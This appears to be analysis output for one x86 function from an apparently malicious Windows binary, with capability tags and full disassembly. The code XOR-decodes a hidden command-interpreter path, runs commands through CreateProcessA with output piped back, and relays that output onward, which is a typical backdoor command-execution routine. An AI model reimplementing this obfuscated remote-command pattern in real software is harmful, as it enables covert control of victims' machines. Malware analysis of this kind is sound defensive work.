Function at 0x4020a0
Capabilities:
Create pipe
Encode data using xor
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4314
call fcn.00402b70
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x877]
push ebx
push eax
mov byte [ebp - 0x878], bl
call fcn.00402af0
push 0x3ff
lea ecx, [ebp - 0x477]
push ebx
push ecx
mov byte [ebp - 0x478], bl
call fcn.00402af0
add esp, 0x18
push str.L5Sxfak_xSvjb_Slbk_jwj
lea edx, [ebp - 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x478]
cmp byte [ebp - 0x478], bl
je 0x402111
mov ecx, eax
xor byte [eax], 0xf
inc ecx
mov eax, ecx
cmp byte [ecx], bl
jne 0x402107
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x478]
push ecx
lea edx, [ebp - 0x878]
push str._s__c__s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x40000
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 8]
push edx
mov dword [ebp - 0x2c], 0xc
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.00402af0
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
add esp, 0xc
mov dword [ebp - 0x78], 0x44
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x4c], 0x101
mov word [ebp - 0x48], cx
xor esi, esi
mov edi, edi
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea ecx, [ebp - 0x878]
push ecx
push ebx
call edi
test eax, eax
jne 0x4021c3
inc esi
cmp esi, 8
jl 0x4021a0
cmp esi, 8
jne 0x4021d1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0xc], 1
call edi
mov edx, dword [ebp - 0x1c]
push 0x2bf20
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x20]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x40223e
cmp dword [ebp - 0x20], 0x103
jne 0x40223e
mov edx, dword [ebp - 0x1c]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 8]
push ecx
call esi
mov edx, dword [ebp - 4]
push edx
call esi
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [ebp - 4]
push ecx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 8]
push ebx
lea edx, [ebp - 0xc]
push edx
push 0x1fa0
lea eax, [ebp - 0x4310]
push eax
push ecx
call esi
mov ecx, dword [ebp - 0xc]
cmp ecx, ebx
je 0x4022aa
cmp eax, ebx
je 0x4022aa
mov eax, dword [ebp + 8]
mov byte [ebp + ecx - 0x4310], bl
lea edx, [ebp - 0x4310]
push edx
mov edx, dword [0x405030]
inc ecx
push ecx
push ebx
push eax
mov ecx, 0xa021
call fcn.00401d50
add esp, 0x10
test eax, eax
je 0x4022aa
push 0xa
call edi
jmp 0x402256
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret